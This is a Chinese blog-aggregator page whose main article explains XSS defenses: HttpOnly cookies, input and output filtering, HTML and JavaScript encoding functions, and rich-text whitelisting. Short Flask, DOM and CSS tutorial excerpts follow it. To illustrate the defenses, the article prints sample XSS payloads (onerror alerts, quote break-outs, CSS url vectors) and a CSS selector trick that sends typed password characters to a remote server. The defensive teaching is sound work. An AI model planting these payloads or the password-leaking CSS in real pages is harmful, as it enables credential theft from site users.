首页 文章 精选 留言 我的

精选列表

搜索[Web 应用托管],共10000篇文章
优秀的个人博客,低调大师

Web安全系列(四):XSS 的防御

简介 XSS 的防御很复杂,并不是一套防御机制就能就解决的问题,它需要具体业务具体实现。 目前来说,流行的浏览器内都内置了一些 XSS 过滤器,但是这只能防御一部分常见的 XSS,而对于网站来说,也应该一直寻求优秀的解决方案,保护网站及用户的安全,我将阐述一下网站在设计上该如何避免 XSS 的攻击。 HttpOnly HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。 Cookie 是通过 http response header 种到浏览器的,我们来看看设置 Cookie 的语法: Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<date>][; domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly] 第一个是 name=value 的键值对,然后是一些属性,比如失效时间,作用的 domain 和 path ,最后还有两个标志位,可以设置为 secure 和 HttpOnly。 栗子: // 利用 express 这个轮子设置cookie res.cookie('myCookie', 'test', { httpOnly: true }) res.cookie('myCookie2', 'test', { httpOnly: false }) 然后回到浏览器查看: 这个时候我们试着在控制台输出: 我们发现,只有没有设置 HttpOnly 的 myCookie2 输出了出来,这样一来, javascript 就读取不到这个 Cookie 信息了。 HttpOnly 的设置过程十分简单,而且效果明显,不过需要注意的是,所有需要设置 Cookie 的地方,都要给关键的 Cookie 都加上 HttpOnly ,若有遗漏则会功亏一篑。 但是, HttpOnly 不是万能的,添加了 HttpOnly 不等于解决了 XSS 问题。 严格的说,HttpOnly 并非为了对抗 XSS ,HttpOnly 解决的是 XSS 后的 Cookie 劫持问题,但是 XSS 攻击带来的不仅仅是 Cookie 劫持问题,还有窃取用户信息,模拟身份登录,操作用户账户等一系列行为。 使用 HttpOnly 有助于缓解 XSS 攻击,但是仍然需要其他能够解决 XSS 漏洞的方案。 输入检查 记住一点:不要相信任何输入的内容。 无论是不是做了安全校验,都必须进行过滤操作,而且需要后台配合过滤,如果后端的检查校验还做得不好,那就可能被攻破。 输入检查在更多的时候被用于格式检验,例如用户名只能以字母和数字组合,手机号码只能有 11 位且全部为数字,否则即为非法。 这些格式检查类似于白名单效果,限制输入允许的字符,让一下特殊字符的攻击失效。 目前网上有很多开源的 XSS Filter ,这些 XSS Filter 目前来说还是有些效果的,能只能检验输入内容,高级一点的还会匹配 XSS 特征,例如内容是否包含了 <script>,javascript 等敏感字符,但是这些 XSS Filter 只是获取到了用户的输入内容,并不了解其上下文含义,很多时候会误过滤。 例如: 用户输入昵称:<|无敌是多么鸡毛|>,对于 XSS Filter 来说,<> 就是特殊字符,需要过滤然后过滤成为 |无敌是多么鸡毛| ,直接改变了用户的昵称。 所以,我们不能完全信赖开源的 XSS Filter ,很多场景需要我们自己配置规则,进行过滤。 输出检查 不要以为在输入的时候进行过滤就万事大吉了,恶意攻击者们可能会层层绕过防御机制进行 XSS 攻击,一般来说,所有需要输出到 HTML 页面的变量,全部需要使用编码或者转义来防御。 HTMLEncode 针对 HTML 代码的编码方式是 HTMLEncode,它的作用是将字符串转换成 HTMLEntities。 目前来说,为了对抗 XSS ,以下转义内容是必不可少的: 特殊字符 实体编码 & &amp ; < &lt ; > &gt ; " &quot ; ' ; / / ; PS. ; 是必须的,而且要和前面的字符连接起来,我这边分开是因为,markdown 就是 HTML 语言,我连上就直接转义成前面的特殊字符了,/(ㄒoㄒ)/~~ 来看看效果: 可以看到,这些编码在 HTML 上已经成功转成了对应的符号。 当然,上面的只是最基本而且是最必要的,HTMLEncode 还有很多很多,我这边列举了一些(请允许我用代码的形式写出来,这样就不会转义了): const HtmlEncode = (str) => { // 设置 16 进制编码,方便拼接 const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; // 赋值需要转换的HTML const preescape = str; let escaped = ""; for (let i = 0; i < preescape.length; i++) { // 获取每个位置上的字符 let p = preescape.charAt(i); // 重新编码组装 escaped = escaped + escapeCharx(p); } return escaped; // HTMLEncode 主要函数 // original 为每次循环出来的字符 function escapeCharx(original) { // 默认查到这个字符编码 let found = true; // charCodeAt 获取 16 进制字符编码 const thechar = original.charCodeAt(0); switch (thechar) { case 10: return "<br/>"; break; // 新的一行 case 32: return "&nbsp;"; break; // space case 34: return "&quot;"; break; // " case 38: return "&amp;"; break; // & case 39: return "&#x27;"; break; // ' case 47: return "&#x2F;"; break; // / case 60: return "&lt;"; break; // < case 62: return "&gt;"; break; // > case 198: return "&AElig;"; break; // Æ case 193: return "&Aacute;"; break; // Á case 194: return "&Acirc;"; break; // Â case 192: return "&Agrave;"; break; // À case 197: return "&Aring;"; break; // Å case 195: return "&Atilde;"; break; // Ã case 196: return "&Auml;"; break; // Ä case 199: return "&Ccedil;"; break; // Ç case 208: return "&ETH;"; break; // Ð case 201: return "&Eacute;"; break; // É case 202: return "&Ecirc;"; break; case 200: return "&Egrave;"; break; case 203: return "&Euml;"; break; case 205: return "&Iacute;"; break; case 206: return "&Icirc;"; break; case 204: return "&Igrave;"; break; case 207: return "&Iuml;"; break; case 209: return "&Ntilde;"; break; case 211: return "&Oacute;"; break; case 212: return "&Ocirc;"; break; case 210: return "&Ograve;"; break; case 216: return "&Oslash;"; break; case 213: return "&Otilde;"; break; case 214: return "&Ouml;"; break; case 222: return "&THORN;"; break; case 218: return "&Uacute;"; break; case 219: return "&Ucirc;"; break; case 217: return "&Ugrave;"; break; case 220: return "&Uuml;"; break; case 221: return "&Yacute;"; break; case 225: return "&aacute;"; break; case 226: return "&acirc;"; break; case 230: return "&aelig;"; break; case 224: return "&agrave;"; break; case 229: return "&aring;"; break; case 227: return "&atilde;"; break; case 228: return "&auml;"; break; case 231: return "&ccedil;"; break; case 233: return "&eacute;"; break; case 234: return "&ecirc;"; break; case 232: return "&egrave;"; break; case 240: return "&eth;"; break; case 235: return "&euml;"; break; case 237: return "&iacute;"; break; case 238: return "&icirc;"; break; case 236: return "&igrave;"; break; case 239: return "&iuml;"; break; case 241: return "&ntilde;"; break; case 243: return "&oacute;"; break; case 244: return "&ocirc;"; break; case 242: return "&ograve;"; break; case 248: return "&oslash;"; break; case 245: return "&otilde;"; break; case 246: return "&ouml;"; break; case 223: return "&szlig;"; break; case 254: return "&thorn;"; break; case 250: return "&uacute;"; break; case 251: return "&ucirc;"; break; case 249: return "&ugrave;"; break; case 252: return "&uuml;"; break; case 253: return "&yacute;"; break; case 255: return "&yuml;"; break; case 162: return "&cent;"; break; case '\r': break; default: found = false; break; } if (!found) { // 如果和上面内容不匹配且字符编码大于127的话,用unicode(非常严格模式) if (thechar > 127) { let c = thechar; let a4 = c % 16; c = Math.floor(c / 16); let a3 = c % 16; c = Math.floor(c / 16); let a2 = c % 16; c = Math.floor(c / 16); let a1 = c % 16; return "&#x" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ";"; } else { return original; } } } } emmmm……作者比较懒,剩下的注释自己补充,这应该是比较全的 HTMLEncode 编码转换了,大家可以直接拿去用(可以给个赞不~),来让我们测试一下: <div id="id"></div> // 当我们输入: document.querySelector('#id').innerHTML = '<img onerror=alert(1) src=1/>' 页面不可避免的发生了 XSS 注入: // 当我们利用 HTMLEncode 之后 document.querySelector('#id').innerHTML = HtmlEncode('<img onerror=alert(1) src=1/>') console.log(HtmlEncode('<img onerror=alert(1) src=1/>')) 发现页面将输入的内容完全呈现了: JavaScriptEncode JavaScriptEncode 与 HTMLEncode 的编码方式不同,它需要用 \ 对特殊字符进行转义。 在对抗 XSS 时,还要求输出的变量必须在引号内部,以免造成安全问题,可是很多开发者并没有这种习惯,这样只能使用更为严格的 JavaScriptEncode 来保证数据安全:除了数字,字符之外的所有字符,小于127的字符编码都使用十六进制 \xHH 的方式进行编码,大于用unicode(非常严格模式)。 同样是代码的方式展现出来: //使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。 // 大部分代码和上面一样,我就不写注释了 const JavaScriptEncode = function (str) { const hex = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']; const preescape = str; let escaped = ""; for (let i = 0; i < preescape.length; i++) { escaped = escaped + encodeCharx(preescape.charAt(i)); } return escaped; // 小于127转换成十六进制 function changeTo16Hex(charCode) { return "\\x" + charCode.charCodeAt(0).toString(16); } function encodeCharx(original) { let found = true; const thecharchar = original.charAt(0); const thechar = original.charCodeAt(0); switch (thecharchar) { case '\n': return "\\n"; break; //newline case '\r': return "\\r"; break; //Carriage return case '\'': return "\\'"; break; case '"': return "\\\""; break; case '\&': return "\\&"; break; case '\\': return "\\\\"; break; case '\t': return "\\t"; break; case '\b': return "\\b"; break; case '\f': return "\\f"; break; case '/': return "\\x2F"; break; case '<': return "\\x3C"; break; case '>': return "\\x3E"; break; default: found = false; break; } if (!found) { if (thechar > 47 && thechar < 58) { //数字 return original; } if (thechar > 64 && thechar < 91) { //大写字母 return original; } if (thechar > 96 && thechar < 123) { //小写字母 return original; } if (thechar > 127) { //大于127用unicode let c = thechar; let a4 = c % 16; c = Math.floor(c / 16); let a3 = c % 16; c = Math.floor(c / 16); let a2 = c % 16; c = Math.floor(c / 16); let a1 = c % 16; return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + ""; } else { return changeTo16Hex(original); } } } } 除了 HTMLEncode 和 JavaScript 外,还有许多用于各种情况的编码函数,比如 XMLEncode 、JSONEncode 等。 编码函数需要在适当的情况下用适当的函数,需要注意的是,编码之后数据长度发生改变,如果文件对数据长度有所限制的话,可能会影响到某些功能。我们在使用编码函数时,一定要注意这个细节,以免产生不必要的 bug。 正确的防御 XSS 上面说了两种转义只是为了设计个人能更好的 XSS 防御方案,但是我们需要认清 XSS 产生的本质原因。 XSS 的本质还是一种 HTML 注入,用户的数据被当成了 HTML 代码一部分来执行,从而混淆了原本的语意,产生了新的语意。 如果网站使用了 MVC(MVVM) 结构,那么 XSS 就会发生在 View 层,也就是变量拼接到页面时产生的,所以在用户提交数据的时候进行输入检查,并不是真正在被攻击的地方做防御,而是预防攻击,下面,我将总结一些 XSS 发生的场景,再一一解决。 在 HTML 标签中输出 在 HTML 标签中直接输出变量,没有做任何处理,会导致 XSS。 <a href=# ><img src=1 onerror=alert(1)></a> 这种方式的解决方案是,所有需要输出到页面的元素全部通过 HTMLEncode。 在 HTML 属性中输出 在和 HTML 标签中输出攻击方式类似,只不过输出的内容会自动闭合标签。 <a href="我是变量" ></a> <!-- 我是变量: "><img src=1 onerror=alert(1)><" --> <!-- 插入之后变为 --> <a href=""><img src=1 onerror=alert(1)><""></a> 这种方式的防御方法仍然是 HTMLEncode 。 在 <script> 标签中输出 假设我们的变量都在引号内部: let a = "我是变量" // 我是变量 = ";alert(1);// a = "";alert(1);//" 攻击者只需要闭合标签就能实行攻击,目前的防御方法为 JavaScriptEncode。 在 CSS 中输出 在 CSS 中或者 style 标签或者 style attribute 中形成的攻击花样非常多,总体上类似于下面几个例子: <style>@import url('http:xxxxx')</style> <style>@import 'http:xxxxx'</style> <style>li {list-style-image: url('xxxxxx')}</style> <style>body {binding:url('xxxxxxxxxx')}</style> <div style='background-image: url(xxxx)'></div> <div style='width: expression(xxxxx)'></div> 要解决 CSS 的攻击问题,一方面要严格控制用户将变量输入style 标签内,另一方面不要引用未知的 CSS 文件,如果一定有用户改变 CSS 变量这种需求的话,可以使用 OWASP ESAPI 中的 encodeForCSS() 函数。 一个很典型的第三方 CSS 库攻击的案例: input[type="password"][value$="0"]{ background-image: url("http://localhost:3000/0") } input[type="password"][value$="1"]{ background-image: url("http://localhost:3000/1") } input[type="password"][value$="2"]{ background-image: url("http://localhost:3000/2") } input[type="password"][value$="3"]{ background-image: url("http://localhost:3000/3") } input[type="password"][value$="4"]{ background-image: url("http://localhost:3000/4") } input[type="password"][value$="5"]{ background-image: url("http://localhost:3000/5") } input[type="password"][value$="6"]{ background-image: url("http://localhost:3000/6") } input[type="password"][value$="7"]{ background-image: url("http://localhost:3000/7") } input[type="password"][value$="8"]{ background-image: url("http://localhost:3000/8") } input[type="password"][value$="9"]{ background-image: url("http://localhost:3000/9") } ... 剩下的就不写了,就是将所有键盘能输入的字符都写进去。 input[type="password"] 是css选择器,作用是选择密码输入框,[value$="0"]表示匹配输入的值是以 0 结尾的。 所以如果你在密码框中输入 0 ,就去请求 http://localhost:3000/0 接口,但是浏览器默认情况下是不会将用户输入的值存储在 value 属性中,但是有的框架会同步这些值,例如React 。 我们模拟同步 value 值: <body> <input type="password" value="" id="pwd"> </body> <script> const pwd = document.querySelector('#pwd'); pwd.oninput = (e) => { pwd.attributes.value.value = e.target.value } </script> 然后我们看看效果: 看!你的密码都被发送到远程了,所以输 CSS 也是 XSS 攻击的手段之一,只有想不到,没有做不到~ 在 URL 中输出 在地址张输出也比较复杂。一般来说 URL 的 path 或者 search 中进行攻击直接使用 URLEncode 即可。URLEncode 会将字符串转换为 %HH 的形式,类似空格就是 %20。 可能的攻击方法就是: <!-- 原始 URL --> <a href="http://localhost:3000/?test=我是变量"></a> <!-- 攻击 URL --> <a href="http://localhost:3000/?test=" onclick=alert(1)""></a> <!-- URLEncode --> <a href="http://localhost:3000/?test=%22%20onclick%3balert%281%29%22"></a> 但是是否用了 URLEncode 就万事大吉了呢? 不不不 如果整个 URL 被用户控制,那么前面的 http://, localhost:3000 等部分被转义不就乱套了,这些部分是不能被转义的。 一个 URL 的组成如下: [Protocal][Host][Path][Search][Hash] 栗子: http://localhost:3000/a/b/c?search=123#666aaa [Protocal] 对应 http:// [Host] 对应 localhost:3000 [Path] 对应 /a/b/c [Search] 对应 ?search=123 [Hash] 对应 #666aaa 一般来说,如果变量是整个 URL ,则应该先检查变量是否以 http 开头,在此之后再对里面的变量进行 URLEncode 。 富文本处理 在一些网站,网站允许用户富含 HTML 标签的代码,比如文本里面要有图片、视频之类,这些文本展现出来全都是依靠 HTML 代码来实现。 那么,我们需要如何区分安全的 富文本 和 XSS 攻击呢? 我正好在华为做过相关的富文本过滤操作,基本的思想就是: 首先进行输入检查,保证用户输入的是完整的 HTML 代码,而不是有拼接的代码 通过 htmlParser 解析出 HTML 代码的标签、属性、事件 富文本 的 事件 肯定要被禁止,因为富文本 并不需要 事件 这种东西,另外一些危险的标签也需要禁止,例如: <iframe>,<script>,<base>,<form> 等 利用白名单机制,只允许安全的标签嵌入,例如:<a>,<img>,div等,白名单不仅仅适用于标签,也适用于属性 过滤用户 CSS ,检查是否有危险代码 小结 理论上来说,XSS 漏洞虽然复杂,但是却是可以彻底解决掉的,在设计 XSS 解决方案时,要结合目前的业务需求,从业务风险角度定义每个 XSS 漏洞,针对不同的场景使用不同的方法,同时,很多开源的项目可以借鉴参考,完善自己的 XSS 解决方案。

优秀的个人博客,低调大师

Python全栈 Web(Flask框架、模型、sqlalchemy)

Flask的文件传输: 如果大批量上传数据的时候(如:大文件) 就不能使用网页上传了 主要是由于http协议不支持 需要使用单独的上传工具(c/s版的) URL不存在参数上限的问题,HTTP协议规范也没有对URL长度进行限制。 这个限制是特定的浏览器及服务器对它的限制。 IE对URL长度的限制是2083字节(2K+35字节)对于其他浏览器, 如FireFox,Netscape等,则没有长度限制, 这个时候其限制取决于服务器的操作系统。即如果url太长, 服务器可能会因为安全方面的设置从而拒绝请求或者发生不完整的数据请求。 post 理论上讲是没有大小限制的,HTTP协议规范也没有进行大小限制, 但实际上post所能传递的数据量大小取决于服务器的设置和内存大小。 因为我们一般post的数据量很少超过MB的,所以我们很少能感觉的到post的数据量限制,

优秀的个人博客,低调大师

Python全栈 Web(Flask框架、变量、模板)

模板 Templates: 模板中的语法规范 变量: 变量时一种特殊的占位符 告诉模板引擎该位置的 值是从渲染模板时的数据中来获取的 在视图中: @app.route("/temp") def temp(): return render_template("01_temp.html",uname="user name") name和age就是要传递到xxx.html中的变量 在模板中: {{变量名}} <title>{{unam}}</title> Python代码 @app.route("/temp") def temp(): dic = {"bookName":"钢铁是咋炼成的", "author": "鲁迅", "price": 32.5 ,

优秀的个人博客,低调大师

Python全栈 Web(JavaScript DOM节点、事件)

1.查询节点 1.根据节点的层级查询节点 1.childNodes 元素节点,文本节点, 2.children 元素节点 3.parentNode 获取父节点 4.nextSibling 获取下一个兄弟节点 有可能是文本节点 5.nextElementSibling 获取下一个兄弟元素节点 6.previousSibling 获取上一个兄弟节点 有可能是文本节点 7.previousElementSibling 获取上一个兄弟元素节点 2.通过标签名查询节点 - 返回数组 document|elem.getElementsByTagName("标签名"); document:整个文档内查找 elem:某个元素内查找 3.通过元素的name属性值查询节点 document.getElementsByName("name属性值"); 返回值:包含指定name属性值的元素的数组 <

优秀的个人博客,低调大师

Python全栈 Web(CSS常用样式大全)

常用内联样式: func-size color background-color 内部样式表: <style> 选择器1{ 属性:值; } 选择器2{ 属性:值; } ... </style> 外链方式: <link rel="stylesheet" type="text/css" href=".css文件名"> 样式优先级: 默认 < 稳文档内嵌/元素选择器 < 行内 不发生冲突 同步 发生冲突 后来者居上 选择器: 标签选择器: p{ color: red; } 类选着器: .cls{ 样式 } <p class="cls">文本</p> <p class="cls1 cls2"> 文本 </p> 标签类结合: p.cls{ 样式 } 表示在指定标签中匹配class属性 id选着器: #nav{ 样式 } <div id="nav"></div> 群组选择器: div, p{ 样式 } <div></div> <p></p> 后代选择器: #nav #npc/div{ 样式 } 子代选择器: 选择器1>选择器2/标签{ 样式 } 伪类选择器: 超链接伪类选择器: :link 访问前 :visited 访问后 :active 鼠标点按 :hover 鼠标滑过 其他元素伪类选择器: :hover 鼠标滑过 :active 鼠标点按 伪类选择器只能和其他选择器/元素结合使用 p:hover{ 鼠标滑过p元素的新样式 } 选择器优先级: 标签选择器: 1 类/伪类选择器: 10 id选择器: 100 行内选择器: 1000 尺寸单位: px % in 英寸 1in 2.54cm pt 榜 1pt = 1/72 in cm m deg 角度 颜色单位: 英文单词(transparent: 透明) rgb(r,g,b) 0~255 rgba(r,g,b,a)透明度 十六进制:#fff 元素分类: 块元素 独占一行 支持宽高 div h1 p ul ol table form 行内元素 可以共行 大小由内容决定 span i b label u sub sup 行内块元素 可以共行 支持宽高 img input 常用属性: img{ width: 300px; height: 300px; color: red; background-color: #fff; font-size: 24px; font-weight: normal; 取消字体加粗 text-decoration: none; 取消下划线 vertical-align: top/middle/bottom; 左右元素与其的对齐方式(只能在行内块元素中使用) } 尺寸: img{ width: 300px/50%; height: 300px/50%; 溢出处理: overflow: visible/hidden/scroll/auto; 默认可见/溢出部分不显示/始终有滚动条溢出可用/自动产生滚动条 } 边框: div{ border: width style color; 宽度 样式 颜色 缺一不可 border: 1px solid/dashed/dotted/double; 实线/虚线/点线/双线 border: none; 取消边框 单独设置: border-top: 上 border-right: 右 border-bottom: 下 border-left: 左 border-width: 宽度 border-style: 样式 border-color: 颜色 三角标: width: 0px; height: 0px; border-top: 100px solid red; border-right: 100px solid green; border-bottom: 100px solid transparent; border-left: 100px solid transparent; } 轮廓线: div{ outline: width style color; outline: none; 取消轮廓线 } 圆角边框: div{ border-radius: 10px/10%; 超过50%就是圆形 border-radius: 10px 20px 30px 40px; 上 右 下 左 一个值:表示是个角相等 两个值:表示上下、左右相等 三个值:左右相等 其他分别设置 四个值:表示上右下左全不分别设置 } 边框阴影: div{ box-shadow: offset-x offset-y blur spread color 水平偏移 垂直偏移 延伸距离(可以省略) 阴影颜色 box-shadow: 10px 10px 10px pink; } 盒模型: 外边距: div{ margin: 10px/10%; 有四个值 最少一个 最多4个 效果同上(圆角边框) margin: 0px; 清除外边距 margin: 0px auto; 在父元素内水平居中 margin: -10px; 位置微调 单独设置: margin-top: 上 margin-right: 右 margin-bottom: 下 margin-left: 左 可以是像素也可以是百分比 默认具有外边距的元素: body p h1~h6 ul ol } 内边距: div{ padding: 10px/10%; 有四个值 最少一个 最多4个 效果同上(圆角边框) padding-top 上 padding-right 右 padding-bottom 下 padding-left 左 具有默认内边距的元素: ol ul 文本框 密码框 按钮 td } 声明盒模型计算方式: div{ box-sizing: border-box/content-box; 内边距+边框+内容的共同尺寸/默认值 } 改变元素类型: div{ display: block/inline/inline-block/none; 转换为块元素(显示元素)/转换为行内元素/行内块元素/隐藏元素 } 背景相关属性: 背景颜色: background-color:red; 背景图片: div{ background-image:url("./1.jpg") 图片平铺: background-repeat: repeat/no-repeat/repeat-x/repeat-y; 水平和垂直平铺/不重复平铺/水平平铺/垂直平铺 图片尺寸: background-size: 10px 10px/10%/cover/contain; 当前元素宽 高/元素比例/将图片拉伸全部覆盖元素超出部 分裁剪掉/将图片拉至刚好被容纳 超出部分不管 拉伸:图片比例不变 图片的位置: background-position: x/x% y/y%; 水平偏移/垂直偏移 百分比参照尺寸获取 background-position: 0% 0%; 图片左上角显示 background-position: 100% 100%; 图片右下角显示 background-position: 50% 50%; 图片居中显示 background-position: left/center/right top/center/bottom; 方位值表示:左/中/右 上/中/下 } 简写: div{ background: color/url()/repeat/position; } 文本相关属性: 字体: div{ 字体大小: font-size: 24px; 设置字体大小 font-family: "微软雅黑", "黑体", "KaiTi"; 设置字体类型 字体类型: font-weight: normal/bold/lighter; 正常显示/加粗显示/极细文本 字体加粗: font-weight: 400/700/100; 数字越大越粗 400=normal/700=bold 字体样式: font-style: normal/italic/oblique; 正常显示/使用倾斜显示/使文本倾斜达到斜体效果 简写: font: style weight size family; family 必须写 不写没效果 } 文本: div{ color: green; 文本颜色 文本对齐: text-align: left/center/right/justify; 默认水平左对齐/居中/右对齐/两端对齐 文本行高: line-height: 32px/2; 设置行高位32像素/设置行高为字体大小的2倍 文本居中方式: 将行高设置为和元素一样的高度 一行文本一定的垂直居中的 上下空隙由浏览器默认分配 文本装饰线: text-decoration: underline/overline/line-through/none; 下划线/上划线/删除线/取消下划线 } 表格属性: div{ width:; height:; background:; color:; margin:; padding:; 边框合并: border-collapse: separate/collapse; 默认边框分离/合并边框 td不支持外边距 只能写在table里 边框边距: border-spacing: h-Value v-Value; border-spacing: 10px 10px; 只能在表格分离的状态下使用 } 过渡效果: div{ 过渡属性: transition-property: width/height; 指定某个属性添加过渡效果 宽度过渡/高度过渡 transition-property: all; 将所有能过渡的属性都进行过渡 能够添加过渡的属性:所有颜色相关的、取值为数值的 过渡时长: transition-duration: 1s/100ms; 1秒完成过渡/100毫秒 时间曲率: transition-timing-function: ease/linear/ease-in/ease-out/ease-in-out; 默认开始结束满中间块/匀速/开始慢结束块/开始块结束慢/慢开始结束中间加速后减速 过渡延迟: transition-delay: 1s/100ms; 1秒后开始过渡/100毫秒 过渡时长必须设置其他可以省略 必须写在默认样式中 简写: transition:property duration timing-function delay; duration必须写 } 布局: 普通流布局: 默认方式 浏览器默认布局方式 浮动布局: div{ float: left/right/none; 元素向左浮动停靠在其他元素便于/向右浮动/默认 特点: 元素飘浮会脱流 后面的元素会补位 所有的元素只要设置浮动都可设置宽高 行内元素或行内块元素浮动后 水平方向之间没有空隙 浮动元素特殊效果: 文字环绕效果 浮动元素会遮挡正常元素 但是不会遮挡内容 解决不占位影响: 1.指定父元素的高度 2.父元素中设置 :overflow: hidden; 3.清除浮动: clear: none/left/right/both; 默认不处理/清除左浮影响/正常元素左边不允许出现浮动元素/两边都不允许 4.父元素末尾添加空块元素 设置:clear: both; } 定位布局: div{ position: relative/absolute/fixed/static; 相对定位/绝对定位/固定定位/默认文档流布局 只有设置了非默认属性 才算是已经定位的元素 偏移属性: 用来配合已定位的属性 进行位置移动 top: 10px; 以元素的上边界向下为正方向 right: 10px; 以元素的右边界向左为正方向 bottom: 100px; 以元素的下边界向上为正方向 left: 10px; 以元素的左边界向右为正方向 } 定位方式: div{ 相对定位: position: relative; 按照当前位置偏移 绝对定位: position: absolute; 定位后会脱流 脱流的所有元素都可以设置宽高 按照离他最近的祖先元素偏移 如果没有按照body位置偏移 一般采用父元素相对定位 子元素绝对行为方式 浮动 + 外边距调整元素位置 = 绝对定位 + 偏移属性 固定定位: position: fixed; 按照浏览器窗口进行定位 配合偏移属性使用 定位后元素都会变成块元素 层叠次序调整: z-index: 0~n; 默认0 数字越大越靠上 数值相同 后来者居上 只能用在已经定位的元素上 子元素永远在父元素之上 不受层次影响 } 显示方式: div{ display: none/block/inline/inline-block; 隐藏元素并且不占位/转换为块元素/转换为行内元素/转换为行内块元素 } 显示效果: div{ visibility: visible/hidden; 默认显示/隐藏元素并占位 opacity: 0~1; 设置元素的透明度 继承效果: 子元素最终效果 = 父元素opacity * 自身opacity vertical-align: top/middle/bottom; 调整垂直对齐方式 常见于行内块元素 cursor: default/pointer/text/crosshair; 默认值/设置为小手形状/输入I形状/ +形状 } 转换属性: div{ transform: 转换函数1 转换函数2...; 转换原点设置: transform-origin: x y; transform-origin: 像素/百分比/方位值; 默认以元素中心为原点 转换函数: 平移转换: transform: transform(x,y); x:水平方向平移距离 y:垂直方向 一个值等于translateX(value) transform: translateX(value) 水平方向位移 transform: translateY(value) 垂直方向位移 缩放变换: transform: scale(value)/scaleX()/scaleY(); 正常缩放/横向缩放/垂直缩放 value:默认1 大于1会等比放大 0~1会缩小 小于0会翻转 旋转变换: transform: rotate(90deg/-90deg); 顺时针旋转90度/逆时针旋转90度 transform: rotate3d(45deg/-45deg); transform: rotateX(ndeg); 沿x轴翻转 transform: rotateY(ndeg); 沿y轴翻转 transform: rotateZ(ndeg); 沿z轴旋转 旋转原点会影响旋转效果 如果涉及旋转操作 会连带坐标轴一起旋转,影响后面的位移 } HTML 会跳动的小心心 <!DOCTYPE html> <html> <head> <title></title> <meta charset="utf-8"> <style type="text/css"> #box{ width: 200px; height: 160px; /*background-color: pink;*/ margin: 100px auto; position: relative; } #box:hover{ transform: scale(1.2); } .c1,.c2{ width: 100px; height: 160px; position: absolute; border-radius: 50px 50px 0 0; background-color: red; } .c1{ top:0; left:0; transform:rotate(45deg); transform-origin: right bottom; } .c2{ top:0; right: 0; transform:rotate(-45deg); transform-origin: left bottom; } </style> </head> <body> <div id="box"> <span class="c1"></span> <span class="c2"></span> </div> </body> </html>

优秀的个人博客,低调大师

Python全栈 Web(定位布局、定位方式)

定位布局: 属性:position 取值: static 默认值 按照文档流布局 relative 相对定位 absolute 绝对定位 fixed 固定定位 只有元素的position属性设置为非默认属性 才算是已经定位的元素 偏移属性: top right bottom left 用来配合已经定位的元素实现位置移动 取值:px top:以元素的上边界为基准移动元素 right:以元素的右边界为基准移动元素 bottom:以元素的低边界为基准移动元素 left:以元素的上左界为基准移动元素 定位方式: 相对定位: 属性:position:relative; 元素采用相对定位时会参照它在文档中原本的位置进行偏移 绝对定位: 属性:position:absolute; 特点: 1.绝对定位的元素,会脱离文档流不占位 2.绝对定位元素会参照离他最近的已经定位的祖先元素进行偏移 3.如果没有已经定位的祖先元素 元素会参照body(浏览器窗口左上角)进行偏移 注意: 所有元素只要脱流就可以设置宽高大小 通常使用“父相子绝”的方式页面布局 限制其他元素的布局方式 浮动和绝对定位点都可以实现元素脱流,采用浮动+外边距调整元素的位置 等价于绝对定位+偏移属性 浮动更常见于外围结构标签,做网页整体布局时 使用,绝对定位更常见于内部元素的调整 浮动和相对定位可以共存 设置相对定位只是为了辅助内部子元素+的定位布局 堆叠次序的调整: 已经定位的元素堆叠在一起是的排列顺序 语法: 属性:z-index 取值:整数 数值越大越靠上 注意: 如果我们元素z-index属性值相同,后来者居上 父子元素都设置z-index 永远都是子元素在上 不受影响 z-index属性只能用在已经定位的元素上 固定定位: 可以使元素的位置固定在浏览器窗口的某个位置 不会随网页内容的滚动而滚动 语法: 属性:position 取值:fixed 配合偏移属性实现元素位置的固定 注意: 固定定位的元素永远是参照浏览器的窗口定位的 固定定位的元素都会变成块元素 显示方式: 1.决定元素以何种样式显示在网页中 属性:display 取值: none 设置元素隐藏 隐藏后不占位 block 设置元素显示 或 将元素转换为块元素 inline 转换为行内元素 inline-block 转换为行内块元素 显示效果: 属性:visibility 取值: visible 默认值 表示显示 hidden 元素隐藏 仍然在文档中占位 元素透明度: 属性:opacity 设置元素透明度 取值:0~1 0:透明 1:不透明 元素设置opacity属性 所有的内容都会实现透明效果 子元素会继承父元素的透明效果 如果父子元素都设置了opacity 子元素最终的效果是在父元素半透明的基础上 在进行半透明 子元素最终效果=父元素opacity*本身opacity 设置垂直对齐方式: 属性:vertical-align 取值:top middle bottom 可以用在行内元素上 但更常见于为行内快元素设置vertical-align 调整行内快元素左右内容与它的对齐方式 光标显示: 改变鼠标悬停在元素上时的显示外观 属性:cursor 取值: default 默认 pointer 显示为小手形状 text 显示为 I crosshair 显示为 + 列表属性: 列表本身是块级元素,自带外边距,电邮项目符号 属性: 属性:list-style-type 设置项目符号 取值: none 取消项目符号 disc 实心原点 circle 空心原点 square 实心方块 ... 设置项目符号为图片: 属性:list-style-image 取值: url(“图片路径”) 设置项目符号的位置: 属性:list-style-position 取值:inside outside 设置项目符号出现在内容框的外部还是内部 **简写属性: list-style:none; 常用来取消列表的项目符号 转换属性: 主要是用来改变元素在页面中的位置、尺寸、角度 属性:transform 取值: 转换函数 多个函数之间用空格隔开 转换原点: 转换原点实际上就是元素转换操作的基准点 属性:transform-origin 取值:x y; 表示以元素左上角为原点进行选取旋转原点的坐标 可以使用像素值、百分比、方位值 top center bottom left center right 默认以元素的中心点为原点 转换函数: 平移变换: 改变元素在网页中的位置 属性:transform 取值:translate(x, y) x表示元素在水平方向上平移的距离 y表示元素在垂直方向上平移的距离 可以填写正值或负值 其他情况: translateX(value) 指水平方向位移 translateY(value) 指垂直方向位移 translate(value) 等价于translateX 缩放变换: 改变元素在页面中的大小 